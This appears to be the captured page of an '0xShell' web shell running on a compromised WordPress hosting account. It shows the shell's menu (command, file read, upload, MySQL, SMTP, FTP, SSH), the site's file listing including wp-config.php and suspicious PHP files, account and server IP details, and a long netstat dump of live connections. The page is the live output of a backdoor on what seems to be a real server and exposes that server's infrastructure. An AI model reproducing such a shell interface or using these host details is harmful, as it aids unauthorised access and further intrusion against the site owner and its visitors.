0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php 0xShell

0xShell

Active Connections

ProtoLocalRemoteState
TCP 0.0.0.0:2091 0.0.0.0:0 0A
TCP 0.0.0.0:587 0.0.0.0:0 0A
TCP 0.0.0.0:110 0.0.0.0:0 0A
TCP 247.0.0.16:783 0.0.0.0:0 0A
TCP 0.0.0.0:2095 0.0.0.0:0 0A
TCP 0.0.0.0:143 0.0.0.0:0 0A
TCP 0.0.0.0:111 0.0.0.0:0 0A
TCP 0.0.0.0:80 0.0.0.0:0 0A
TCP 0.0.0.0:2096 0.0.0.0:0 0A
TCP 0.0.0.0:465 0.0.0.0:0 0A
TCP 0.0.0.0:21 0.0.0.0:0 0A
TCP 0.0.0.0:53 0.0.0.0:0 0A
TCP 0.0.0.0:22 0.0.0.0:0 0A
TCP 247.0.0.16:953 0.0.0.0:0 0A
TCP 0.0.0.0:25 0.0.0.0:0 0A
TCP 0.0.0.0:443 0.0.0.0:0 0A
TCP 232.176.140.62:443 220.74.206.73:40028 03
TCP 232.176.140.62:443 220.74.190.170:19482 03
TCP 232.176.140.46:443 138.60.0.18:37235 03
TCP 232.176.140.62:443 220.74.158.40:61544 03
TCP 232.176.140.62:443 220.74.190.163:9276 03
TCP 232.176.140.62:443 27.181.99.142:18622 03
TCP 232.176.140.62:443 220.74.238.224:8404 03
TCP 232.176.140.110:443 138.60.32.123:17240 03
TCP 232.176.140.62:443 27.181.67.6:4350 03
TCP 232.176.140.62:443 27.181.83.211:36972 03
TCP 232.176.140.62:443 220.74.238.152:254 03
TCP 232.176.140.62:443 220.74.190.27:22563 03
TCP 232.176.140.62:443 220.74.254.11:20634 03
TCP 232.176.140.110:443 138.60.16.50:7879 03
TCP 232.176.140.62:443 220.74.206.157:46122 03
TCP 232.176.140.62:443 220.74.158.19:48210 03
TCP 232.176.140.62:443 220.74.158.91:58499 03
TCP 232.176.140.94:443 138.60.32.13:50098 03
TCP 232.176.140.62:443 220.74.190.229:18660 03
TCP 232.176.140.46:443 138.60.32.86:6700 03
TCP 232.176.140.62:443 220.74.222.25:64524 03
TCP 232.176.140.110:443 138.60.32.42:23979 03
TCP 232.176.140.46:443 138.60.16.106:63187 03
TCP 232.176.140.110:443 138.60.48.88:18321 03
TCP 232.176.140.62:443 27.181.99.67:60495 03
TCP 232.176.140.46:443 138.60.0.164:29309 03
TCP 232.176.140.110:443 138.60.32.61:45864 03
TCP 232.176.140.62:443 220.74.190.175:97 03
TCP 232.176.140.110:443 138.60.32.23:8950 03
TCP 232.176.140.62:443 220.74.174.52:34856 03
TCP 232.176.140.62:443 27.181.67.58:52412 03
TCP 232.176.140.62:443 27.181.67.21:51378 03
TCP 232.176.140.62:443 220.74.238.162:59531 03
TCP 232.176.140.62:443 27.181.99.193:29698 03
TCP 232.176.140.62:443 27.181.67.97:4287 03
TCP 232.176.140.46:443 138.60.0.230:54654 03
TCP 232.176.140.62:443 27.181.83.166:55435 03
TCP 232.176.140.62:443 27.181.115.71:6361 03
TCP 232.176.140.62:443 220.74.254.10:56538 03
TCP 232.176.140.62:443 220.74.158.105:12307 03
TCP 232.176.140.62:443 220.74.254.35:25832 03
TCP 232.176.140.62:443 220.74.222.145:49236 03
TCP 232.176.140.110:443 138.60.32.187:62058 03
TCP 232.176.140.62:443 27.181.83.15:29810 03
TCP 232.176.140.62:443 220.74.190.177:43166 03
TCP 232.176.140.62:443 220.74.142.119:20621 03
TCP 232.176.140.62:443 220.74.158.195:44184 03
TCP 232.176.140.62:443 138.60.0.140:44795 03
TCP 232.176.140.110:443 138.60.48.122:11415 03
TCP 232.176.140.62:443 220.74.190.29:19671 03
TCP 232.176.140.94:443 138.60.16.229:2469 03
TCP 232.176.140.62:443 27.181.99.206:45311 03
TCP 232.176.140.62:443 27.181.99.74:22709 03
TCP 232.176.140.62:443 220.74.158.115:23747 03
TCP 232.176.140.62:443 27.181.115.40:52282 03
TCP 232.176.140.62:443 220.74.254.248:9319 03
TCP 232.176.140.62:443 220.74.190.4:61617 03
TCP 232.176.140.62:443 220.74.142.190:47359 03
TCP 232.176.140.62:443 138.60.0.79:22060 03
TCP 232.176.140.62:443 220.74.238.243:8273 03
TCP 232.176.140.62:443 220.74.254.52:48357 03
TCP 232.176.140.62:443 220.74.254.249:2270 03
TCP 232.176.140.110:443 138.60.48.125:50601 03
TCP 232.176.140.62:443 27.181.99.68:46269 03
TCP 232.176.140.110:443 138.60.16.171:17363 03
TCP 232.176.140.62:443 27.181.115.224:8404 03
TCP 232.176.140.110:443 138.60.16.155:7870 03
TCP 232.176.140.62:443 220.74.206.157:21698 03
TCP 232.176.140.62:443 220.74.206.139:59407 03
TCP 232.176.140.62:443 220.74.174.230:11326 03
TCP 232.176.140.62:443 27.181.115.246:11395 03
TCP 232.176.140.110:443 138.60.0.73:56747 03
TCP 232.176.140.62:443 138.60.48.21:64351 03
TCP 232.176.140.62:443 27.181.99.151:63624 03
TCP 232.176.140.62:443 220.74.142.210:1265 03
TCP 232.176.140.62:443 27.181.83.224:32858 03
TCP 232.176.140.62:443 220.74.174.214:25696 03
TCP 232.176.140.94:443 138.60.16.184:26726 03
TCP 232.176.140.62:443 220.74.174.238:48260 03
TCP 232.176.140.62:443 138.60.16.159:63609 03
TCP 232.176.140.62:443 27.181.115.235:10454 03
TCP 232.176.140.46:443 138.60.0.180:53743 03
TCP 232.176.140.62:443 27.181.67.54:8390 03
TCP 232.176.140.62:443 220.74.206.109:4172 03
TCP 232.176.140.46:443 138.60.32.190:28060 03
TCP 232.176.140.62:443 220.74.190.56:34042 03
TCP 232.176.140.46:443 138.60.32.117:42065 03
TCP 232.176.140.94:443 138.60.48.217:44034 03
TCP 232.176.140.62:443 27.181.115.91:59459 03
TCP 232.176.140.62:443 220.74.190.155:29800 03
TCP 232.176.140.62:443 220.74.254.117:26774 03
TCP 232.176.140.46:443 138.60.16.72:23012 03
TCP 232.176.140.62:443 220.74.190.32:57419 03
TCP 232.176.140.62:443 220.74.190.70:22551 03
TCP 232.176.140.62:443 220.74.142.133:45218 03
TCP 232.176.140.62:443 138.60.32.225:25310 03
TCP 232.176.140.62:443 27.181.67.110:5212 03
TCP 232.176.140.62:443 27.181.115.25:2180 03
TCP 232.176.140.62:443 220.74.158.56:32940 03
TCP 232.176.140.62:443 27.181.67.75:5229 03
TCP 232.176.140.62:443 220.74.222.89:5324 03
TCP 232.176.140.110:443 138.60.48.169:45063 03
TCP 232.176.140.62:443 220.74.190.3:28746 03
TCP 232.176.140.62:443 220.74.222.248:6320 03
TCP 232.176.140.62:443 220.74.222.148:34847 03
TCP 232.176.140.62:443 27.181.115.138:25635 03
TCP 232.176.140.62:443 27.181.67.200:59616 03
TCP 232.176.140.62:443 220.74.158.200:41015 03
TCP 232.176.140.62:443 220.74.238.42:5312 03
TCP 232.176.140.62:443 220.74.174.195:3311 03
TCP 232.176.140.62:443 220.74.190.23:53488 03
TCP 232.176.140.62:443 27.181.115.113:12416 03
TCP 232.176.140.62:443 220.74.142.21:24757 03
TCP 232.176.140.62:443 220.74.190.178:40183 03
TCP 232.176.140.62:443 220.74.238.175:61576 03
TCP 232.176.140.62:443 138.60.16.179:26145 03
TCP 232.176.140.62:443 220.74.254.180:35946 03
TCP 232.176.140.62:443 27.181.67.0:54278 03
TCP 232.176.140.62:443 220.74.206.143:49234 03
TCP 232.176.140.78:443 138.60.32.177:29575 03
TCP 232.176.140.62:443 27.181.99.10:14462 03
TCP 232.176.140.62:443 220.74.222.169:5167 03
TCP 232.176.140.62:443 220.74.174.205:39078 03
TCP 232.176.140.62:443 220.74.142.104:27778 03
TCP 232.176.140.78:443 138.60.0.248:52366 03
TCP 232.176.140.62:443 220.74.206.234:49163 03
TCP 232.176.140.62:443 220.74.142.151:9281 03
TCP 232.176.140.62:443 220.74.174.41:12509 03
TCP 0.0.0.0:2077 0.0.0.0:0 0A
TCP 0.0.0.0:2078 0.0.0.0:0 0A
TCP 0.0.0.0:993 0.0.0.0:0 0A
TCP 0.0.0.0:2082 0.0.0.0:0 0A
TCP 247.0.0.16:11234 0.0.0.0:0 0A
TCP 247.0.0.16:579 0.0.0.0:0 0A
TCP 0.0.0.0:2083 0.0.0.0:0 0A
TCP 0.0.0.0:995 0.0.0.0:0 0A
TCP 0.0.0.0:2086 0.0.0.0:0 0A
TCP 0.0.0.0:2087 0.0.0.0:0 0A
TCP 247.0.0.16:60978 247.0.0.16:579 06
TCP 232.176.140.46:443 141.148.141.101:28942 01
TCP 232.176.140.46:443 141.148.141.154:64971 01
TCP 232.176.140.46:22 134.138.138.208:52419 01
TCP 232.176.140.46:40746 134.81.243.171:80 06
TCP 232.176.140.46:443 232.176.140.46:50418 06
TCP 232.176.140.46:80 39.119.24.112:41283 06
TCP 232.176.140.46:443 134.175.83.167:17788 01
TCP 232.176.140.46:60068 134.81.197.107:443 06
TCP 232.176.140.46:443 36.159.20.26:51891 01
TCP 232.176.140.46:443 177.55.199.214:31355 01
TCP 232.176.140.46:54208 134.81.18.113:443 01
TCP 232.176.140.46:443 141.148.141.101:28347 06
TCP 232.176.140.46:443 141.148.141.101:38911 06
TCP 232.176.140.94:2083 155.46.92.224:43305 06
TCP 232.176.140.46:443 141.148.141.154:27960 06
TCP 232.176.140.46:80 178.40.70.50:48386 06
TCP 232.176.140.46:443 141.148.141.154:10770 06
TCP 232.176.140.46:80 117.151.69.150:59016 06
TCP 232.176.140.46:40674 134.81.243.171:80 06
TCP 232.176.140.46:33408 134.81.176.175:443 06
TCP 232.176.140.46:443 155.251.186.160:33854 01
TCP 232.176.140.46:22 113.238.150.160:52674 01
TCP 232.176.140.62:22 55.126.206.105:56080 04
TCP 232.176.140.46:22 134.138.138.208:53129 01
TCP 247.0.0.16:32956 247.0.0.16:579 06
TCP 232.176.140.46:443 177.55.199.96:42871 01
TCP 232.176.140.46:443 141.148.141.154:47998 01
TCP 232.176.140.46:443 141.148.141.137:18941 06
TCP 232.176.140.62:22 55.126.206.105:42632 01
TCP 232.176.140.46:40670 134.81.243.171:80 06
TCP 232.176.140.46:25 4.227.92.92:5956 06
TCP 232.176.140.46:40742 134.81.243.171:80 06
TCP 232.176.140.46:443 141.148.141.154:51041 06
TCP 232.176.140.46:443 210.211.155.205:11466 05
TCP 232.176.140.46:443 141.148.141.154:41352 01
TCP 232.176.140.94:2083 155.46.92.208:34603 06
TCP 232.176.140.46:443 141.148.141.137:52512 06
TCP 232.176.140.46:39312 218.13.106.47:443 06
TCP 232.176.140.46:41120 84.225.239.175:80 06
TCP 232.176.140.46:40744 134.81.243.171:80 06
TCP 232.176.140.46:443 164.112.62.1:57770 01
TCP 232.176.140.46:22 113.238.150.160:65059 01
TCP 232.176.140.46:443 141.148.141.154:51223 06
TCP 232.176.140.46:40676 134.81.243.171:80 06
TCP 232.176.140.46:443 36.159.148.24:35457 01
TCP 232.176.140.46:80 84.92.59.47:47388 08
TCP 232.176.140.46:80 84.92.59.47:43892 09
TCP 232.176.140.46:2083 155.46.92.240:43243 06
TCP 232.176.140.46:443 141.148.141.167:41272 06
TCP 232.176.140.46:80 155.114.49.178:50091 06
TCP 247.0.0.16:33076 247.0.0.16:579 06
TCP 232.176.140.46:80 232.176.140.46:56674 06
TCP 232.176.140.46:22 134.138.138.208:54767 01
TCP 232.176.140.46:22 134.138.138.208:54862 01
TCP 232.176.140.46:443 141.148.141.177:19708 06
TCP 232.176.140.46:443 141.148.141.154:64918 01
UDP 232.176.140.46:56325 169.211.101.149:24441 01
UDP 0.0.0.0:53 0.0.0.0:0 07
UDP 0.0.0.0:111 0.0.0.0:0 07
UDP 247.0.0.16:323 0.0.0.0:0 07
UDP 0.0.0.0:918 0.0.0.0:0 07
Disabled functions: None